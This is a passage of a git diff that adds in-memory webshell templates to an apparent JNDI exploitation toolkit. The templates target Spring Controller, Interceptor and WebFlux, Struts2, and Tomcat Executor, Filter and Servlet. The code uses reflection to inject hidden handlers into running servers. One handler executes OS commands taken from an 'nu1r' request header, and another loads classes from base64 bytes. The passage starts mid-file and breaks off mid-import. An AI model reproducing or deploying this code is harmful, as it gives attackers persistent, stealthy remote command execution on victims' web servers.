requestMappingInfo.getDeclaredConstructor(requestConditionClass, requestMethodsRequestCondition, params, headers, consumes, produces, requestCondition); + constructor2.setAccessible(true); + Object info = constructor2.newInstance(url, condition, null, null, null, null, null); + + // + if (isSpringHigh) { + Field field = requestMappingInfo.getDeclaredField("pathPatternsCondition"); + field.setAccessible(true); + field.set(info, pPRC); + } + + for (Method method : ms) { + if ("register".equals(method.getName())) { + // 反射调用 MappingRegistry 的 register 方法注册 SpringControllerMS 的 index + method.setAccessible(true); + method.invoke(mappingRegistry, info, SpringControllerMS.class.newInstance(), SpringControllerMS.class.getDeclaredMethod("readObjectToData", new Class[]{})); + } + } + } + } catch (Exception ignored) { + } + + } + + public static Class sayMyName(String name) throws Exception { + return Class.forName(name, true, suLoader); + } + + public static void getClassLoader() { + suLoader = Thread.currentThread().getContextClassLoader(); + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public void readObjectToData() throws Exception { + Class holder = sayMyName("org.springframework.web.context.request.RequestContextHolder"); + Class httpServletRequest = sayMyName("javax.servlet.http.HttpServletRequest"); + Class servletRequestAttr = sayMyName("org.springframework.web.context.request.ServletRequestAttributes"); + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + Method getRequest = getMethodByClass(servletRequestAttr, "getRequest", new Class[]{}); + getRequest.setAccessible(true); + Object requestObj = getRequest.invoke(servletRequestAttributes); + Method method = getMethodByClass(httpServletRequest, "getHeader", new Class[]{String.class}); + java.lang.Runtime.getRuntime().exec(method.invoke(requestObj, "nu1r").toString()); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java new file mode 100644 index 00000000..ebd570b1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.template.memshell.spring; + +import org.springframework.beans.BeansException; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; + +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Method; + +/** + * Spring Interceptor型 内存马 + * @author nu1r + */ +public class SpringInterceptorMS extends HandlerInterceptorAdapter { + + static { + try { + Class RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); + + Method getWebApplicationContext; + try { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); + } catch (NoSuchMethodException e) { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); + } + getWebApplicationContext.setAccessible(true); + + WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + //从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping + org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; + try { + Class RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); + } catch (BeansException e) { + Class DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); + } + + java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); + + //添加SpringInterceptorTemplate类到adaptedInterceptors + adaptedInterceptors.add(new SpringInterceptorMS()); + } catch (Exception ignored) { + } + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + return true; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java new file mode 100644 index 00000000..636e32a1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java @@ -0,0 +1,138 @@ +package com.qi4l.jndi.template.memshell.spring; + +import org.springframework.core.io.buffer.DefaultDataBuffer; +import org.springframework.core.io.buffer.DefaultDataBufferFactory; +import org.springframework.util.MultiValueMap; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilterChain; +import org.springframework.web.server.WebHandler; +import org.springframework.web.server.handler.DefaultWebFilterChain; +import org.springframework.web.server.handler.FilteringWebHandler; +import reactor.core.publisher.Mono; + +import org.springframework.web.server.WebFilter; + +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; + +/** + * 此内存马目前仅支持了 gz 以及 cmd + * 暂未适配冰蝎及 gzraw + */ +public class SpringWebfluxMS implements WebFilter, Function, Mono> { + public SpringWebfluxMS() { + } + + public SpringWebfluxMS(String COMMAND) { + this.COMMAND = COMMAND; + } + + public static String HEADER_KEY; + + public static String HEADER_VALUE; + + String COMMAND; + + public static String CMD_HEADER; + + public static Map store = new HashMap(); + + static { + FilteringWebHandler filteringWebHandler = null; + + try { + // WebFlux 默认是 Netty,但是很多人喜欢用 Tomcat ,因此本内存马支持这两种 + Class.forName("org.apache.catalina.loader.WebappClassLoaderBase"); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + Map map = (Map) getFieldValue(getFieldValue(getFieldValue(loader, "resources"), "context"), "children"); + Object servlet = map.get("httpHandlerServlet"); + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(getFieldValue( + getFieldValue(servlet, "existing"), "httpHandler"), "delegate"), "delegate"), "delegate"); + + } catch (Exception ignored) { + try { + Method getThreads = Thread.class.getDeclaredMethod("getThreads"); + getThreads.setAccessible(true); + Object threads = getThreads.invoke(null); + for (int i = 0; i < Array.getLength(threads); i++) { + Object thread = Array.get(threads, i); + if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue( + getFieldValue(getFieldValue(getFieldValue( + getFieldValue(thread, "this$0"), "handler"), + "httpHandler"), "delegate"), "delegate"), "delegate"); + break; + } + } + } catch (Exception neverMind) { + } + } + + + if (filteringWebHandler != null) { + try { + DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler, "chain"); + Object handler = getFieldValue(defaultWebFilterChain, "handler"); + List newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); + newAllFilters.add(0, new SpringWebfluxMS()); + DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters); + Field f = filteringWebHandler.getClass().getDeclaredField("chain"); + f.setAccessible(true); + Field modifersField = Field.class.getDeclaredField("modifiers"); + modifersField.setAccessible(true); + modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + f.set(filteringWebHandler, newChain); + modifersField.setInt(f, f.getModifiers() & Modifier.FINAL); + } catch (Exception ignored) { + } + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + String value = exchange.getRequest().getHeaders().getFirst(HEADER_KEY); + String cmd = exchange.getRequest().getHeaders().getFirst(CMD_HEADER); + if (value != null && value.contains(HEADER_VALUE)) { + Mono bufferStream = exchange.getFormData().flatMap(new SpringWebfluxMS(cmd)); + return exchange.getResponse().writeWith(bufferStream); + } + return chain.filter(exchange); + } + + @Override + public Mono apply(MultiValueMap map) { + StringBuilder result = new StringBuilder(); + return Mono.just(new DefaultDataBufferFactory().wrap(executePayload(result, map).getBytes())); + } + + public String executePayload(StringBuilder sb, MultiValueMap map) { + return sb.toString(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java new file mode 100644 index 00000000..7e4524ed --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java @@ -0,0 +1,111 @@ +package com.qi4l.jndi.template.memshell.struts2; + +public class Struts2ActionMS { + public static String pattern; + + public static String thisClass; + + static { + try { + if (thisClass != null) { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + // 用 Context ClassLoader 加载,防止映射后再访问不到 + String selfName = Struts2ActionMS.class.getName(); + byte[] classBytes = base64Decode(thisClass); + + Class loaderClass = Class.forName("java.lang.ClassLoader", false, loader); + java.lang.reflect.Method defineClass = loaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + defineClass.invoke(loader, selfName, classBytes, Integer.valueOf("0"), classBytes.length); + + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); + + pattern = pattern.substring(1); + java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); + filed.setAccessible(true); + ThreadLocal context = (ThreadLocal) filed.get(null); + Object con = context.get(); + java.lang.reflect.Method method = actionContextClass.getDeclaredMethod("getActionInvocation", null); + method.setAccessible(true); + Object inv = method.invoke(con); + Object invObj = getFieldValue(inv, "proxy"); + Object configuration = getFieldValue(invObj, "configuration"); + Object runtimeConf = getFieldValue(configuration, "runtimeConfiguration"); + Object map = getFieldValue(runtimeConf, "namespaceActionConfigs"); + java.util.Map m = (java.util.Map) getFieldValue(map, "m"); + + java.lang.reflect.Constructor constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig", false, loader).getDeclaredConstructor(new Class[]{String.class, String.class, String.class}); + constructor.setAccessible(true); + Object actionConfig = constructor.newInstance("", pattern, selfName); + + // 这里常见的 context 是 "" 或者 "/",在额外配置的时候可能需要额外处理 + java.util.LinkedHashMap o1 = (java.util.LinkedHashMap) m.get(""); + + if (o1 == null) { + o1 = (java.util.LinkedHashMap) m.get("/"); + } + + o1.put(pattern, actionConfig); + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public String execute() throws Exception { + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); + java.lang.reflect.Method getContextMethod = actionContextClass.getDeclaredMethod("getContext", null); + getContextMethod.setAccessible(true); + Object actionContext = getContextMethod.invoke(null); + java.lang.reflect.Method get = actionContextClass.getDeclaredMethod("get", String.class); + get.setAccessible(true); + Object req = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + Class wrapperClass = Class.forName("javax.servlet.ServletRequestWrapper"); + java.lang.reflect.Method method = wrapperClass.getDeclaredMethod("getRequest", null); + method.setAccessible(true); + Object realObj = method.invoke(req); + Object resp = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + executeAction(realObj, resp); + return null; + } + + public void executeAction(Object request, Object response) { + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java new file mode 100644 index 00000000..0564c87a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.core.StandardThreadExecutor; +import org.apache.tomcat.util.net.NioEndpoint; +import org.apache.tomcat.util.threads.ThreadPoolExecutor; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.RejectedExecutionHandler; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; + +/** + * Tomcat Executor 内存马 + */ +public class TEXMSFromThread extends ThreadPoolExecutor { + static { + try { + ThreadPoolExecutor exec = null; + NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); + try { + exec = (ThreadPoolExecutor) getFieldValue(nioEndpoint, "executor"); + } catch (ClassCastException e) { + StandardThreadExecutor standardExec = (StandardThreadExecutor) getFieldValue(nioEndpoint, "executor"); + exec = (ThreadPoolExecutor) getFieldValue(standardExec, "executor"); + } + TEXMSFromThread exe = new TEXMSFromThread(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), (java.util.concurrent.RejectedExecutionHandler) exec.getRejectedExecutionHandler()); + nioEndpoint.setExecutor(exe); + } catch (Exception ignored) { + } + } + + public TEXMSFromThread(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue, ThreadFactory threadFactory, java.util.concurrent.RejectedExecutionHandler handler) { + super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, (RejectedExecutionHandler) handler); + } + + + @Override + public void execute(Runnable command) { + } + + public static Object getStandardService() throws Exception { + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + for (Thread thread : threads) { + if (thread == null) { + continue; + } + if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { + Object target = getFieldValue(thread, "target"); + Object jioEndPoint = null; + try { + jioEndPoint = getFieldValue(target, "this$0"); + } catch (Exception e) { + e.printStackTrace(); + } + + return jioEndPoint == null ? getFieldValue(target, "endpoint") : jioEndPoint; + } + } + return new Object(); + } + + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java new file mode 100644 index 00000000..e7022cf1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java @@ -0,0 +1,193 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.LifecycleState; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.util.LifecycleBase; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + + +/** + * 遍历线程组,在 request 中查找带有特定 Header 的请求,并从 request 获取 ServletContext 添加 Filter 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TFMSFromRequestF implements Filter { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + + public static String HEADER_KEY; + + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addFilter(); + } + } + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) req.getClass().getMethod("getResponse", (Class[]) null).invoke(req, (Object[]) null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addFilter() { + ServletContext servletContext = request.getServletContext(); + Filter filter = new TFMSFromRequestF(); + String filterName = NAME; + String url = pattern; + if (servletContext.getFilterRegistration(filterName) == null) { + StandardContext standardContext = null; + Field stateField = null; + FilterRegistration.Dynamic filterRegistration = null; + + try { + standardContext = (StandardContext) getFieldValue(getFieldValue(servletContext, "context"), "context"); + stateField = LifecycleBase.class.getDeclaredField("state"); + stateField.setAccessible(true); + stateField.set(standardContext, LifecycleState.STARTING_PREP); + filterRegistration = servletContext.addFilter(filterName, filter); + filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); + Method filterStartMethod = StandardContext.class.getMethod("filterStart"); + filterStartMethod.setAccessible(true); + filterStartMethod.invoke(standardContext, (Object[]) null); + stateField.set(standardContext, LifecycleState.STARTED); + + Class filterMap; + try { + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } catch (Exception var27) { + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); + } + + Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); + Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext))); + + for (int i = 0; i < filterMaps.length; ++i) { + Object filterMapObj = filterMaps[i]; + findFilterMaps = filterMap.getMethod("getFilterName"); + String name = (String) findFilterMaps.invoke(filterMapObj); + if (name.equalsIgnoreCase(filterName)) { + filterMaps[i] = filterMaps[0]; + filterMaps[0] = filterMapObj; + } + } + + writeResponse("Success"); + } catch (Exception ignored) { + } finally { + try { + stateField.set(standardContext, LifecycleState.STARTED); + } catch (IllegalAccessException ignored) { + } + + } + } else { + try { + writeResponse("Filter already exists"); + } catch (Exception ignored) { + } + } + } + + public static void writeResponse(String result) { + try { + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print(result); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java new file mode 100644 index 00000000..4dafe5be --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java @@ -0,0 +1,255 @@ +package com.qi4l.jndi.template.memshell.tomcat; + + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.ApplicationContextFacade; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +/** + * 遍历线程组,在 request 中查找带有特定 Referer 的请求,并从 request 获取 ServletContext 添加 Servlet 型内存马 + * 添加成功后,会回显 Success 字样,参考 ShiroAttack2 + */ +public class TFMSFromRequestS implements Servlet { + public static HttpServletRequest request = null; + + public static HttpServletResponse response = null; + + public static String pattern; + + public static String NAME; + public static String HEADER_KEY; + public static String HEADER_VALUE; + + static { + getRequestAndResponse(); + if (request != null && response != null) { + addServlet(); + } + } + + + public static void getRequestAndResponse() { + try { + boolean flag = false; + Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); + + for (int i = 0; i < threads.length; ++i) { + Thread thread = threads[i]; + if (thread != null) { + String threadName = thread.getName(); + if (!threadName.contains("exec") && threadName.contains("http")) { + Object target = getFieldValue(thread, "target"); + if (target instanceof Runnable) { + try { + target = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (Exception ignored) { + continue; + } + + List processors = (List) getFieldValue(target, "processors"); + + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + target = getFieldValue(processor, "req"); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); + if (value != null && value.contains(HEADER_VALUE)) { + request = (HttpServletRequest) req; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(req, "request"), "response"); + } catch (Exception ignored) { + try { + response = (HttpServletResponse) getMethodAndInvoke(req, "getResponse", null, null); + } catch (Exception ignored2) { + } + } + flag = true; + } + + if (flag) { + break; + } + } + } + } + } + } + } catch (Exception ignored) { + } + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + + public static void addServlet() { + try { + ServletContext servletContext = request.getServletContext(); + ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; + Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context"); + applicationContextField.setAccessible(true); + ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(applicationContextFacade); + Field standardContextField = applicationContext.getClass().getDeclaredField("context"); + standardContextField.setAccessible(true); + StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + + Servlet servlet = new TFMSFromRequestS(); + wrapper.setServletClass(servlet.getClass().getName()); + + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(new String[]{pattern}); + registration.setLoadOnStartup(1); + if (getMethodByClass(wrapper.getClass(), "setServlet", new Class[]{Servlet.class}) == null) { + transform(standardContext, pattern); + servlet.init((ServletConfig) getFieldValue(wrapper, "facade")); + } + + response.setContentType("text/html"); + request.setCharacterEncoding("UTF-8"); + response.setCharacterEncoding("UTF-8"); + response.getWriter().print("Success"); + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception ignored) { + } + } + + + public static void transform(Object standardContext, String path) throws Exception { + Object containerBase = getMethodAndInvoke(standardContext, "getParent", null, null); + Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); + Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); + listenersField.setAccessible(true); + ArrayList listeners = (ArrayList) listenersField.get(containerBase); + + for (int i = 0; i < listeners.size(); ++i) { + Object mapperListener_Mapper = listeners.get(i); + if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { + Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); + Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); + + for (int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { + Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); + Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); + Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); + + for (int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { + Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); + if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { + new ArrayList(); + Object standardContext_Mapper = getMethodAndInvoke(standardContext, "getMapper", null, null); + Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); + Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); + Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); + + int l; + Object Mapper_Wrapper; + Method addWrapperMethod; + for (l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path); + } + } + + for (l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) { + Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l); + if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { + addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class); + addWrapperMethod.setAccessible(true); + addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object")); + } + } + } + } + } + } + } + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) { + + Class clazz = Class.forName("sun.reflect.NativeMethodAccessorImpl"); + java.lang.reflect.Method m = clazz.getDeclaredMethod("invoke0", new Class[]{java.lang.reflect.Method.class, Object.class, Object[].class}); + m.setAccessible(true); + return m.invoke(null, new Object[]{method, obj, parameters}); + } + } catch (Exception ignored) { + } + return null; + } + + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java new file mode 100644 index 00000000..ceb182f0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java @@ -0,0 +1,93 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import 